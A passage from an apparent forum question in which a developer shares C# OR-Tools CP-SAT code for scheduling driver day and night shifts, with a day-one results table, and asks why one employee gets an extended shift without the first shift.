                            dayschedule += String.Format("{0}  ", driverShiftDaySlotObj.shiftLength);

                        }
                        DriverShiftSlot driverShiftNightSlotObj = driverShiftDayObj.driverShiftSlots.Where(x => x.shiftEndTime == new TimeOnly(20, 00, 00)).FirstOrDefault();
                        if (driverShiftNightSlotObj != null)
                        {
                            nightline += String.Format("{0},", driverShiftDayObj.shiftDay + 1);
                            nightline += String.Format("{0},", driverShiftNightSlotObj.shiftStartTime);
                            nightline += String.Format("{0},", driverShiftNightSlotObj.shiftEndTime);
                            nightline += String.Format("{0}", driverShiftNightSlotObj.shiftLength);
                            nightschedule += String.Format("{0}    ", driverShiftDayObj.shiftDay + 1);
                            nightschedule += String.Format("{0}        ", driverShiftNightSlotObj.shiftStartTime);
                            nightschedule += String.Format("{0}  ", driverShiftNightSlotObj.shiftEndTime);
                            nightschedule += String.Format("{0}  ", driverShiftNightSlotObj.shiftLength);

                        }
                    }
                    csv.AppendLine(csvline);
                    Console.WriteLine(dayschedule);
                    if(nightline.Length>10)
                    csv.AppendLine(nightline);
                    if (nightschedule.Length > 10)
                        Console.WriteLine(nightschedule);

                }

            }
            File.WriteAllText("D:\\Projects\\API Projects\\RTT API Branches\\Pingo OnDemand API DEV\\src\\Cron\\Cron.DriverShiftScheduler\\scheduler" + DateTime.Now.ToString("yyyyMMddhhmmss") + ".csv", csv.ToString());

            Console.WriteLine("Penalties:");

            // foreach (var (i, var) in objBoolVars.Select((x, i) => (i, x)))
            // {
            //     if (solver.BooleanValue(var))
            //     {
            //         var penalty = objBoolCoeffs[i];
            //         if (penalty > 0)
            //         {
            //             Console.WriteLine($"  {var.Name()} violated, penalty={penalty}");
            //         }
            //         else
            //         {
            //             Console.WriteLine($"  {var.Name()} fulfilled, gain={-penalty}");
            //         }
            //     }
            // }

            // foreach (var (i, var) in objIntVars.Select((x, i) => (i, x)))
            // {
            //     if (solver.Value(var) > 0)
            //     {
            //         Console.WriteLine(
            //             $"  {var.Name()} violated by {solver.Value(var)}, linear penalty={objIntCoeffs[i]}");
            //     }
            // }

            Console.WriteLine();
            Console.WriteLine("Statistics");
            Console.WriteLine($"  - status          : {status}");
            Console.WriteLine($"  - conflicts       : {solver.NumConflicts()}");
            Console.WriteLine($"  - branches        : {solver.NumBranches()}");
            Console.WriteLine($"  - wall time       : {solver.WallTime()}");
        }
        else
        {
            numEmployees++;
            SolveShiftScheduling(numEmployees);

        }
    }

    ///
    /// Filters an isolated sub-sequence of variables assigned to True.
    /// Extract the span of Boolean variables[start, start + length), negate them,
    /// and if there is variables to the left / right of this span, surround the
    /// span by them in non negated form.
    ///
    /// <param name="works">A list of variables to extract the span from.</param>
    /// <param name="start">The start to the span.</param>
    /// <param name="length">The length of the span.</param>
    /// <returns>An array of variables which conjunction will be false if the
    /// sub-list is assigned to True, and correctly bounded by variables assigned
    /// to False, or by the start or end of works.</returns>
    static ILiteral[] NegatedBoundedSpan(BoolVar[] works, int start, int length)
    {
        var sequence = new List<ILiteral>();

        if (start > 0)
            sequence.Add(works[start - 1]);

        foreach (var i in Range(length))
            sequence.Add(works[start + i].Not());

        if (start + length < works.Length)
            sequence.Add(works[start + length]);

        return sequence.ToArray();
    }

    ///
    /// Sequence constraint on true variables with soft and hard bounds.
    /// This constraint look at every maximal contiguous sequence of variables
    /// assigned to true. If forbids sequence of length < hardMin or >
    /// hardMax. Then it creates penalty terms if the length is < softMin or
    /// > softMax.
    ///
    /// <param name="model">The sequence constraint is built on this
    /// model.</param> <param name="works">A list of Boolean variables.</param>
    /// <param name="hardMin">Any sequence of true variables must have a length of
    /// at least hardMin.</param> <param name="softMin">Any sequence should have a
    /// length of at least softMin, or a linear penalty on the delta will be added
    /// to the objective.</param> <param name="minCost">The coefficient of the
    /// linear penalty if the length is less than softMin.</param> <param
    /// name="softMax">Any sequence should have a length of at most softMax, or a
    /// linear penalty on the delta will be added to the objective.</param> <param
    /// name="hardMax">Any sequence of true variables must have a length of at
    /// most hardMax.</param> <param name="maxCost">The coefficient of the linear
    /// penalty if the length is more than softMax.</param> <param name="prefix">A
    /// base name for penalty literals.</param> <returns>A tuple (costLiterals,
    /// costCoefficients) containing the different penalties created by the
    /// sequence constraint.</returns>
    static (IEnumerable<BoolVar> costLiterals, IEnumerable<int> costCoefficients)
        AddSoftSequenceConstraint(CpModel model, BoolVar[] works, int hardMin, int softMin, int minCost, int softMax,
                                  int hardMax, int maxCost, string prefix)
    {
        var costLiterals = new List<BoolVar>();
        var costCoefficients = new List<int>();

        // Forbid sequences that are too short.
        foreach (var length in Range(1, hardMin))
        {
            foreach (var start in Range(works.Length - length + 1))
            {
                model.AddBoolOr(NegatedBoundedSpan(works, start, length));
            }
        }

        // Penalize sequences that are below the soft limit.

        if (minCost > 0)
        {
            foreach (var length in Range(hardMin, softMin))
            {
                foreach (var start in Range(works.Length - length + 1))
                {
                    var span = NegatedBoundedSpan(works, start, length).ToList();
                    var name = $": under_span(start={start}, length={length})";
                    var lit = model.NewBoolVar(prefix + name);
                    span.Add(lit);
                    model.AddBoolOr(span);
                    costLiterals.Add(lit);
                    // We filter exactly the sequence with a short length.
                    // The penalty is proportional to the delta with softMin.
                    costCoefficients.Add(minCost * (softMin - length));
                }
            }
        }

        // Penalize sequences that are above the soft limit.
        if (maxCost > 0)
        {
            foreach (var length in Range(softMax + 1, hardMax + 1))
            {
                foreach (var start in Range(works.Length - length + 1))
                {
                    var span = NegatedBoundedSpan(works, start, length).ToList();
                    var name = $": over_span(start={start}, length={length})";
                    var lit = model.NewBoolVar(prefix + name);
                    span.Add(lit);
                    model.AddBoolOr(span);
                    costLiterals.Add(lit);
                    // Cost paid is max_cost * excess length.
                    costCoefficients.Add(maxCost * (length - softMax));
                }
            }
        }

        // Just forbid any sequence of true variables with length hardMax + 1
        foreach (var start in Range(works.Length - hardMax))
        {
            var temp = new List<ILiteral>();

            foreach (var i in Range(start, start + hardMax + 1))
            {
                temp.Add(works[i].Not());
            }

            model.AddBoolOr(temp);
        }

        return (costLiterals, costCoefficients);
    }

    ///
    /// Sum constraint with soft and hard bounds.
    /// This constraint counts the variables assigned to true from works.
    /// If forbids sum < hardMin or > hardMax.
    /// Then it creates penalty terms if the sum is < softMin or > softMax.
    ///
    /// <param name="model">The sequence constraint is built on this
    /// model.</param> <param name="works">A list of Boolean variables.</param>
    /// <param name="hardMin">Any sequence of true variables must have a length of
    /// at least hardMin.</param> <param name="softMin">Any sequence should have a
    /// length of at least softMin, or a linear penalty on the delta will be added
    /// to the objective.</param> <param name="minCost">The coefficient of the
    /// linear penalty if the length is less than softMin.</param> <param
    /// name="softMax">Any sequence should have a length of at most softMax, or a
    /// linear penalty on the delta will be added to the objective.</param> <param
    /// name="hardMax">Any sequence of true variables must have a length of at
    /// most hardMax.</param> <param name="maxCost">The coefficient of the linear
    /// penalty if the length is more than softMax.</param> <param name="prefix">A
    /// base name for penalty literals.</param> <returns>A tuple (costVariables,
    /// costCoefficients) containing the different penalties created by the
    /// sequence constraint.</returns>
    static (IEnumerable<IntVar> costVariables, IEnumerable<int> costCoefficients)
        AddSoftSumConstraint(CpModel model, BoolVar[] works, int hardMin, int softMin, int minCost, int softMax,
                             int hardMax, int maxCost, string prefix)
    {
        var costVariables = new List<IntVar>();
        var costCoefficients = new List<int>();
        var sumVar = model.NewIntVar(hardMin, hardMax, "");
        // This adds the hard constraints on the sum.
        model.Add(sumVar == LinearExpr.Sum(works));

        var zero = model.NewConstant(0);

        // Penalize sums below the soft_min target.

        if (softMin > hardMin && minCost > 0)
        {
            var delta = model.NewIntVar(-works.Length, works.Length, "");
            model.Add(delta == (softMin - sumVar));
            var excess = model.NewIntVar(0, works.Length, prefix + ": under_sum");
            model.AddMaxEquality(excess, new[] { delta, zero });
            costVariables.Add(excess);
            costCoefficients.Add(minCost);
        }

        // Penalize sums above the soft_max target.
        if (softMax < hardMax && maxCost > 0)
        {
            var delta = model.NewIntVar(-works.Length, works.Length, "");
            model.Add(delta == sumVar - softMax);
            var excess = model.NewIntVar(0, works.Length, prefix + ": over_sum");
            model.AddMaxEquality(excess, new[] { delta, zero });
            costVariables.Add(excess);
            costCoefficients.Add(maxCost);
        }

        return (costVariables, costCoefficients);
    }

    ///
    /// C# equivalent of Python range (start, stop)
    ///
    /// <param name="start">The inclusive start.</param>
    /// <param name="stop">The exclusive stop.</param>
    /// <returns>A sequence of integers.</returns>
    static IEnumerable<int> Range(int start, int stop)
    {
        foreach (var i in Enumerable.Range(start, stop - start))
            yield return i;
    }

    ///
    /// C# equivalent of Python range (stop)
    ///
    /// <param name="stop">The exclusive stop.</param>
    /// <returns>A sequence of integers.</returns>
    static IEnumerable<int> Range(int stop)
    {
        return Range(0, stop);
    }
}

Here is the results for the 1st day

-Employee-Day-Shift-Start-Shift-End-Duration-

-0--------1---08:00--------17:00-----9-

-0--------1---08:00--------20:00-----12-

-2--------1---08:00--------20:00-----12-

-3--------1---08:00--------17:00-----9--

-3--------1---08:00--------20:00-----12-

-6--------1---08:00--------17:00-----9--

-6--------1---08:00--------20:00-----12-

-7--------1---08:00--------17:00-----9--

-8--------1---08:00--------17:00-----9--

-8--------1---08:00--------20:00-----12-

-10-------1---08:00--------17:00-----9--

-17-------1---08:00--------17:00-----9--

-17-------1---08:00--------20:00-----12-

As the results show most employees shift continue into the extended shift except for
employee number 2 which did not work the 1st first shift.

Any advise on how to proceed?